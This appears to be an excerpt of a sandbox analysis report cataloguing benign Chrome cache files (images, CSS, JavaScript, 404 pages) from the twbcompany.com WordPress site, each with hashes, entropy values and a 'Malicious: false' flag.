URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/scripts/main.min.js?ver=20120206
Preview:	function navigation(){$("#mobile-nav-container").on("click touchstart","a.mobile-nav-trigger",function(a){a.stopPropagation(),a.preventDefault(),$("body").toggleClass("menu-open")}),$("#primary-nav li").on("click touchstart",".next-menu",function(a){a.stopPropagation(),a.preventDefault(),$(this).toggleClass("flip").next(".dropdown").toggleClass("open")})}function subNavigation(){$(".dropdown-button").on("click touchstart",function(a){a.stopPropagation(),a.preventDefault();var b,c;b=$(this),c=b.siblings(".dropdown-menu"),c.toggleClass("show-menu")})}function accordionTabs(){$(".accordion-tabs").each(function(a){$(this).children("li").first().children("a").addClass("is-active").next().addClass("is-open").show()}),$(".accordion-tabs").on("click","li > a.tab-link",function(a){if($(this).hasClass("is-active"))a.preventDefault();else{a.preventDefault();var b=$(this).closest(".accordion-tabs");b.find(".is-open").removeClass("is-open").hide(),$(this).next().toggleClass("is-open").toggle(),b.fi

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	29948
Entropy (8bit):	7.5197329175197485
Encrypted:	false
SSDEEP:	768:7OfiRUz++9+atEAvFEGPXTTrnJjV9fB1ffX1YFyai:SfiRJc7Pfth9fB13lYFyai
MD5:	B590AFCD50FDA4B959625D920E7C8AF3
SHA1:	55842DB744332A7D0AF8327D23A3C91FEE4A4EB9
SHA-256:	810CBBED7B6CE07102938F0B2F605CEB866200D34A2977DB77FF858DC1EA6B48
SHA-512:	BE83EB4E34479FCC487E796DA6BB8B483F71E33F26A71348E2A720A80E41374F5CEB42BF42866350FEC796C57C9F9565D483DDE5AE29A70A0397EE2E94ED7AF4
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2018/04/Member-Floor-Side-Inner-Front-Frt-Rail-Upr_CD391.jpg
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:4B77D04A093011E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:4B77D049093011E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1167x608, components 3
Category:	dropped
Size (bytes):	80940
Entropy (8bit):	7.95452362759368
Encrypted:	false
SSDEEP:	1536:6Z1I0B4E6w+6aYAhBEHi4LUhJSN/DorPBoSrPyYTxGIpQnA5Qz:OB4ERpHPLUSxAlrv0IpQASz
MD5:	CC8BA1A37CEE40283CA00AAB4CD6ADFA
SHA1:	11CFE36B19978966C9480811DFB474CC0481E5FA
SHA-256:	BF5868A3D198739CBA6834F2215D4506737A5A7B35102473747615E02AA0AA97
SHA-512:	A076B391E6D623EE0B64AD29AB76189C4538F4B6718FEE6B9E9147A3519924297AA48B36A4A3C698DCA2C38C3AFC10ABA8B740515F6C7A781E660A9429357828
Malicious:	false
Reputation:	low
Preview:	......JFIF.....`.`.....C....................................................................C.......................................................................`...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....G.b.u.nx..1KK..q.GNi@.E.XJZ\Q...h..........;......p......bt.....Qp.QK.\R.)qE.8..b.KE-.&)iqK@..)ih..b....K.....1E(...8.1?.Z(.p.QJ(.......-.%..P11KK..H..1K.j.J)...~t..U.....Z.LR.z.....~...@....R........KK.6.T..c.;m(ZC..(.<.M.\..(..w.4.LQKE..m.:.....u.......ciH.....Z1K.(...KJ(...S..R..)\ciH......:R.m.K.W..zQ.=..O.+..R....._.K..%..h..a)iy...GJ\m.....)qK@.

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.139523437629011
Encrypted:	false
SSDEEP:	6:pn0+t9xqObRKr6TQzetSzRx3G0CezowoG:J0+t9xqeRKWTQzetSzRxGezn
MD5:	A368EBDB8002FBB3142E16BC34B326D8
SHA1:	E727C702FB6BE3CBEFA0B0847717B2334CE9B8FD
SHA-256:	7BB4BE9184710E7D3067CE155A3F8E37C248BDF649906EA40AF66A324ACE61A4
SHA-512:	2550B4B0040F566D106E24E8180DE41225FEDA5B82C68A31BC7DBCF422B6751CC1701CD3F1CC51A7FFDBD57FDCDCCABF1F3B6444AFDA681221F8E6F734C40DAD
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html><head>..<title>404 Not Found</title>..</head><body>..<h1>Not Found</h1>..<p>The requested URL was not found on this server.</p>..</body></html>..

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	19334
Entropy (8bit):	7.087950069728156
Encrypted:	false
SSDEEP:	384:rfg4S3P1kj0WRjPTatI1dVScgxvG1TxNqcIhG87s+OJr:rfgD/1i0iygd4PG1lIds/d
MD5:	E3AEE09837E30888D6E184001DE571CB
SHA1:	C9E4A2D34C9154361ADA74E03565448F71FF3397
SHA-256:	6A25DFF92B8C71467207C674E6DE346BE88FCBBAA02E6E0E76E192BA080C8E6C
SHA-512:	D51D0B34FA3A2E1B6419930F830E05343036A26367FB5840F7749F6F94387F8CD84C6E46E0C3EBF10A83D2D81EEF8A676CD252A3B575F16A4C96BF8FD597AE6C
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2018/03/AlTB-RH-side-mbr.jpg
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:F42E628A092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:F42E6289092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	392
Entropy (8bit):	5.04909943219633
Encrypted:	false
SSDEEP:	12:UlO1D6K7dkJKJHoR+PO5e6KTO8O08b8NuB:QO1D6KRamok250TbkoYB
MD5:	04BCD444D1EE534A9C57209B914AF1E2
SHA1:	655F8C2F9C971A9AF82A9DF8F330B6F809D6C066
SHA-256:	412C099774AED598F72D81AC7C3CAEA8DCEBE7686A0B283CFE37E321933D45DB
SHA-512:	DEEFDDB3ECB79D101DDB2D8292357ADCCE4621803D708A3AFBF4FCF158D0F24CDE68F18EFD1F4CF0B3BFB8556D65A42AAD3F2A4E2D211F4A2BE8357AB519C331
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4
Preview:	/. Lightcase - jQuery Plugin. * The smart and flexible Lightbox Plugin.. . @author..Cornel Boppart <cornel@bopp-art.com>. * @copyright.Author. . @version..2.1.2 (29/09/2015). /../ Import icon font /.@import url(font-lightcase.css);../ Import breakpoint related styles */.@import url(lightcase-default.css);.@import url(lightcase-max-640.css);.@import url(lightcase-min-641.css);.

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1424
Entropy (8bit):	5.105142895509243
Encrypted:	false
SSDEEP:	24:QO1D6KRamokPg7M1xM1Qhiyz1OOYmUzwH0OYYmaF6CyEgz+XaT79REFIPywUJMwf:n6KRam87ExEQcEUOrZH0OtnKEfaH3EqO
MD5:	BEA4D0132CF40C22B523B98A4231BFDF
SHA1:	BDE918C46B03247F636127C0707E48DA78ECA565
SHA-256:	E03F52D207D961F7485FEDA05BA2105DA50FD087D240BE66C230EE8EB08151D0
SHA-512:	EDD505EF331169C74F5D886EF5178111775314A188150E08284748FC6D79DE707597A152111B8718763D9D82B89BE46C8AE5B14349438A39A254ABC675C25574
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/font-lightcase.css
Preview:	/. Lightcase - jQuery Plugin. * The smart and flexible Lightbox Plugin.. . @author..Cornel Boppart <cornel@bopp-art.com>. * @copyright.Author. . @version..2.1.2 (29/09/2015). /..@font-face {. font-family: 'lightcase';. src: url('../fonts/lightcase.eot?55356177');. src: url('../fonts/lightcase.eot?55356177#iefix') format('embedded-opentype'),. url('../fonts/lightcase.woff?55356177') format('woff'),. url('../fonts/lightcase.ttf?55356177') format('truetype'),. url('../fonts/lightcase.svg?55356177#lightcase') format('svg');. font-weight: normal;. font-style: normal;.}. .[class='lightcase-icon-']:before {. font-family: 'lightcase';. font-style: normal;. font-weight: normal;. speak: none;. . display: inline-block;. text-decoration: inherit;. width: 1em;. text-align: center;. . /* For safety - reset parent styles, that can break glyph codes/. font-variant: normal;. text-transform: none;. . / fix buttons height, for twitter bootstrap */. lin

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 22 x 400, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4132
Entropy (8bit):	7.7916828445654955
Encrypted:	false
SSDEEP:	96:X0llcHitlIxv9vk7C1+I4wWHLihk/xCQe0b3bmjA:XvIIHUCD4waUX0vmjA
MD5:	0BDA211913767F912B8828AAB9153746
SHA1:	850F7D5F5316D4282920C4B309F34213BBB59103
SHA-256:	DFCD864C3C30D9B6884FDD4F6C9B57C90A3B9A2A7042514DEA3CBF937D64DDB8
SHA-512:	48879EF232AA398A9DB08A6679C948417CF1B0BCF720CB63C3B3A572E51A8E709B89018E0938B1E720AD0D21A1DB33D9D4C7A7EDD1489791219FB03FAAC71BBA
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/sprites-ico-footer-arrows.png
Preview:	.PNG........IHDR...............J...CiCCPICC profile..x.SwX...>..e.VB..l.."#....Y....a...@...V....HU...H...(.gA..Z.U\8....}z...........y.....&..j.9R.<:...OH.....H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly\|B"......I>................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0.._p..H.....K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0.>.3.o..~..@...z..q.@......qanv.R....B1n..#.....)..4.\,...X..P"M.y.R.D!.....2......w....O.N....l.~.....X.v.@~.-......g42y.......@+..........\...L....D...A..............a.D@.$.<.B.......A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ..Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$...N.!%.2I.IkH.H-.S.>..i.L&.m....... ......O......:..L..$R...J5e?

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1209x403, components 3
Category:	downloaded
Size (bytes):	84111
Entropy (8bit):	7.975469035829131
Encrypted:	false
SSDEEP:	1536:olNuUT0qvfH8oGBmjNtbXNqMmd2EQaB8PcIdcsZul4J1BS:olNuUT0ofJGmzwMIM68zdcs24/BS
MD5:	EA9D45ABB3605D0F031E9B65F4659B3A
SHA1:	DDE79AC9F327730D883E3B4B3F9E88817268228D
SHA-256:	4AC1E97F3AE591E902857D766F88D773B69FBF58E6037CF1BB7291994A63DEDE
SHA-512:	E88F241D7BA08EA496C7C4A9815FD8B387DE8DF6A1F756F05DCE316739218D577993D6DCE4492FB136C4ACE29C2AB77F958AA6B376A496E4FC8DFCC71CC697FB
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/forming-analysis-hero.jpg
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" xmpMM:DocumentID="xmp.did:64ECC765594311E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:64ECC764594311E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4d6a9d53-b437-43a8-b58c-d29938e7dba7" stRef:documentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (18820)
Category:	downloaded
Size (bytes):	59240
Entropy (8bit):	4.873494161336656
Encrypted:	false
SSDEEP:	768:qu4BXbuqfvcFoc1qmjJVsDzI3u+uu4BXbuqfvcFD:qXdc1qmjJVsDzI3u+uXY
MD5:	4940E4AE72B6124A6EAB7E97FC8DF1F4
SHA1:	20986CBB9965F176B6C6CCF1ADEFCF783F9E9E9A
SHA-256:	58C855E7EB9B917E71E6B733E73C542C25BACB986F3BA7DF2BE1570200312135
SHA-512:	C7F03DD29CA7BD8EA746477DC3E234FD860B21CC2D6823DBFA48D2BBB28F8BCD3256394AF849B2A5BA2DDB2074D7D9F5BF7053EAE621EFE39B05DCA162517895
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/styles.css?ver=4.6.9
Preview:	html[dir="rtl"] .wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu .wp-block-navigation-submenu__toggle img{margin-left:12px}html[dir="rtl"] .wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu ul.isHorizontal li{text-align:right}html[dir="rtl"] .wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu ul.isHorizontal li a img{margin-left:12px}.wpml-language-switcher-block{display:flex;box-sizing:border-box;width:100% !important}.wpml-language-switcher-block>.wp-block-navigation-item,.wpml-language-switcher-block>.wp-block-navigation-item>div{display:flex;width:100% !important}.wpml-language-switcher-block .wp-block-navigation__container{background:unset !important}.wpml-language-switcher-block .hide-arrow .wp-block-navigation__submenu-icon{display:none}.wpml-language-switcher-block .wpml-ls-dropdown ul li button{padding:0}.wpml-language-switcher-block .wpml-ls-dropdown ul li button+.isHorizontal{min-wi

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 240x240, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=9, manufacturer=Canon, model=Canon EOS 5D, xresolution=142, yresolution=150, resolutionunit=2, software=Adobe Photoshop Lightroom 4.0 (Windows), datetime=2012:07:09 20:40:59], baseline, precision 8, 3921x2614, components 3
Category:	downloaded
Size (bytes):	3824757
Entropy (8bit):	7.961993846969107
Encrypted:	false
SSDEEP:	98304:7oABC6KoDq+pmrwVojsU7bPvPJjAH1O1tDRdbgB:MFjEq+IrwVTU3eH1EtDROB
MD5:	FEC947064145B64133467321C7ADBAF3
SHA1:	AA62C2A91EFC009A60F59324861A9BA8A9F21300
SHA-256:	54FB5FD5C0715F1C88324F615206D9216B388788DBA8BFDE45047DB30FD5449C
SHA-512:	13C194F6AA418E1512D701932C3594B12EF8AC7608DEECF8857A65CD6F478E3546C4C8A10377E6B2592DAFA27EBCCD01D5BF7530E651612343DF2008B7BBF33B
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2017/08/IMG_4093_red-paint-removed.jpg
Preview:	......JFIF............".Exif..MM.*.................z.....................................(...........1.....(.....2...........;..........i..............Canon.Canon EOS 5D..................Adobe Photoshop Lightroom 4.0 (Windows).2012:07:09 20:40:59.PraterPhotography..........................&."...........'..................0230.......................B...........V...........^...........f...........n...................................v...........~.........................................................................0...........1...........2...........4.....................<...-....2012:06:27 10:42:18.2012:06:27 10:42:18..Z!...B@...A.......................-.....B.......,o.....PraterPhotography.1120802083.............i....................EF24-105mm f/4L IS USM...........................2...........:.(.....................B...................H.......H.........C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!2222222222222222222222222222222222222222222222

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1716), with no line terminators
Category:	downloaded
Size (bytes):	1716
Entropy (8bit):	4.819062196126408
Encrypted:	false
SSDEEP:	24:O0M0U7YNTZ/PWCqWkPWaKxUmKYOqWaLUh9JVLFDmmL:On0U7YNtXWCqWOWJK/qWaUhnVVmg
MD5:	72A49C98F1C6118869DD01F1BDCE2FCE
SHA1:	0285DFE28B3E5CDFE7F5E06F53637D47DF788BF5
SHA-256:	1AEB9107928BB523947C28E17358EFB50A07B942E15ED0A72259A5794EA2CA96
SHA-512:	0C5D363D0A946012C9E59143B40FBD3E8F06C3CFDCD24BECFA1C99D30F5431F86851C13BB5FF431D6FD8EB09A5B1AB9E481AC812061726506B39F443D024D4DC
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-dropdown/style.min.css?ver=1
Preview:	.wpml-ls-legacy-dropdown{width:15.5em;max-width:100%}.wpml-ls-legacy-dropdown>ul{position:relative;padding:0;margin:0!important;list-style-type:none}.wpml-ls-legacy-dropdown .wpml-ls-current-language:focus .wpml-ls-sub-menu,.wpml-ls-legacy-dropdown .wpml-ls-current-language:hover .wpml-ls-sub-menu{visibility:visible}.wpml-ls-legacy-dropdown .wpml-ls-item{padding:0;margin:0;list-style-type:none}.wpml-ls-legacy-dropdown a{display:block;text-decoration:none;color:#444;border:1px solid #cdcdcd;background-color:#fff;padding:5px 10px;line-height:1}.wpml-ls-legacy-dropdown a span{vertical-align:middle}.wpml-ls-legacy-dropdown a.wpml-ls-item-toggle{position:relative;padding-right:calc(10px + 1.4em)}.rtl .wpml-ls-legacy-dropdown a.wpml-ls-item-toggle{padding-right:10px;padding-left:calc(10px + 1.4em)}.wpml-ls-legacy-dropdown a.wpml-ls-item-toggle:after{content:"";vertical-align:middle;display:inline-block;border:.35em solid transparent;border-top:.5em solid;position:absolute;right:10px;top:calc

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4643
Entropy (8bit):	5.083806818621524
Encrypted:	false
SSDEEP:	48:n6KRamNVxC474LELnxtcd42QLQuVqiIITPVhFflUFfZSAVreY8gPyQGXqm/G1UQ0:6eamNbLxSjjOgGpjDAvpm
MD5:	9CBF73663DEB88C55B58B871A313BC28
SHA1:	FC61E4F5C02998041E785174710434AD1BD750E9
SHA-256:	28144D30DE8FEF75790BF13BFC1F14EECCFB94423CB15EBBF75C653BFA1A49F1
SHA-512:	8C919720FD57EF9DDFCE3BFA8FA31D8D303FFDA35BA6F8A611B3CD2056F5D83860996EBDA1FB98B93425EEFBFBF5E5355C888E7FB541AD8C382C26A950EDBA11
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-default.css
Preview:	/. Lightcase - jQuery Plugin. * The smart and flexible Lightbox Plugin.. . @author..Cornel Boppart <cornel@bopp-art.com>. * @copyright.Author. . @version..2.1.2 (29/09/2015). /..@media screen {.../ Overlay /..#lightcase-overlay {...display: none;...width: 100%;...height: 100%;....position: fixed;...z-index: 1000;...top: 0;...left: 0;..}.../ Loading /..#lightcase-loading {...position: fixed;...z-index: 1001;...top: 50%;...left: 50%;....margin-top: -0.5em;...margin-left: -0.5em;....opacity: 1;....font-size: 32px;....../ Fixes the icon wobble issue in firefox /...-moz-transform-origin: 50% 53%;....-webkit-animation: lightcase-loading-spin 0.5s infinite linear;...-moz-animation: lightcase-loading-spin 0.5s infinite linear;...-o-animation: lightcase-loading-spin 0.5s infinite linear;...animation: lightcase-loading-spin 0.5s infinite linear;..}.../ Case /..#lightcase-case {...display: none;....position: fixed;...z-index: 1002;...top: 50%;...left: 50%;..}.../ Additional inf

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.139523437629011
Encrypted:	false
SSDEEP:	6:pn0+t9xqObRKr6TQzetSzRx3G0CezowoG:J0+t9xqeRKWTQzetSzRxGezn
MD5:	A368EBDB8002FBB3142E16BC34B326D8
SHA1:	E727C702FB6BE3CBEFA0B0847717B2334CE9B8FD
SHA-256:	7BB4BE9184710E7D3067CE155A3F8E37C248BDF649906EA40AF66A324ACE61A4
SHA-512:	2550B4B0040F566D106E24E8180DE41225FEDA5B82C68A31BC7DBCF422B6751CC1701CD3F1CC51A7FFDBD57FDCDCCABF1F3B6444AFDA681221F8E6F734C40DAD
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html><head>..<title>404 Not Found</title>..</head><body>..<h1>Not Found</h1>..<p>The requested URL was not found on this server.</p>..</body></html>..

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 233 x 51, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4541
Entropy (8bit):	7.7902221871784585
Encrypted:	false
SSDEEP:	96:6AknHfkWhf/pJ1d6pvV+9tiZRM20MSaXvwaPplwypQ:Fkn8Whf/pJ1AW00WXv/PfwOQ
MD5:	D66B92A70C008CD86FA7CF74574E2D67
SHA1:	0776C5A42B1960DF3788D7A212007BD1E6B30162
SHA-256:	379FF0297AA36882981BD011D44F7CFC3EDF9BF15DEB8528D1649D92ACFECD15
SHA-512:	8F4181D78278BCE944F0FFDF928EE979133D737D3F059A9D33AD4781AC68135DA79E247FC81CC8E375BB62CC9FCC3A92D22736CC5E98D350050BAC5CB1BF8143
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......3.....r./.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:EBA42104A37411EE8CEBFECEBB2F9B1B" xmpMM:InstanceID="xmp.iid:EBA42103A37411EE8CEBFECEBB2F9B1B" xmp:CreatorTool="Adobe Photoshop 2024 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" stRef:documentID="3B5803A37CE689C69FE552874233FFC1"/> <dc:creator> <rdf:Seq> <rdf:li>Pete Desrosiers</rdf:li> </rdf:Seq> </dc:creator> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	83
Entropy (8bit):	4.702629793389398
Encrypted:	false
SSDEEP:	3:gkJRyRUZLW6XS+FXIR9dBlLVOb:PpW6Y75LYb
MD5:	26267CD8990F15D3BBEA71684A6D5995
SHA1:	AC3B38CF3FE0E112BB6AEB7E05226B7133575D93
SHA-256:	769E8AB745A0FE4BF811036E75A8630E38C50A18CB3E24D539CE4A0722C7C85E
SHA-512:	FE52418AE102F6621B45B8663241AB29428D7DED0BF9317B98331F5F5F1F07F0E400F1353F46A51C5724F1E2078791C1E97C4266C11CB1DAA4C388C21B58D6CC
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7
Preview:	<script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 600x450, components 3
Category:	dropped
Size (bytes):	18989
Entropy (8bit):	7.956649507845701
Encrypted:	false
SSDEEP:	384:2bIn9ICi/PuckvJ1nUhE5GhI7mT0XBBr32Ayosf9480GRFX+g8:OCgPuckfx3zr3INP0gFXO
MD5:	A30C4CD8918ED61621D88BD73F315299
SHA1:	7938854EA0078F63D598BAACD0A3D846A470081F
SHA-256:	BA2789A717CD2EACCB402EB011D6E211FEE965D17327B7F7CEFB501AA47C1380
SHA-512:	A51E0187E659166EC095F97CCA112E1E7C796623FB465D046FDC2F8BE2FE72067B01AB155CA2B2B068C18A551B476F5010F66035FFCAD89E85B0EE4C49920CE0
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......2.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:E3B08185599711E5BEEECBB76CCA2AC5" xmpMM:DocumentID="xmp.did:E3B08186599711E5BEEECBB76CCA2AC5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E3B08183599711E5BEEECBB76CCA2AC5" stRef:documentID="xmp.did:E3B08184599711E5BEEECBB76CCA2AC5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................#"""#''''''''''.................................................

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	203
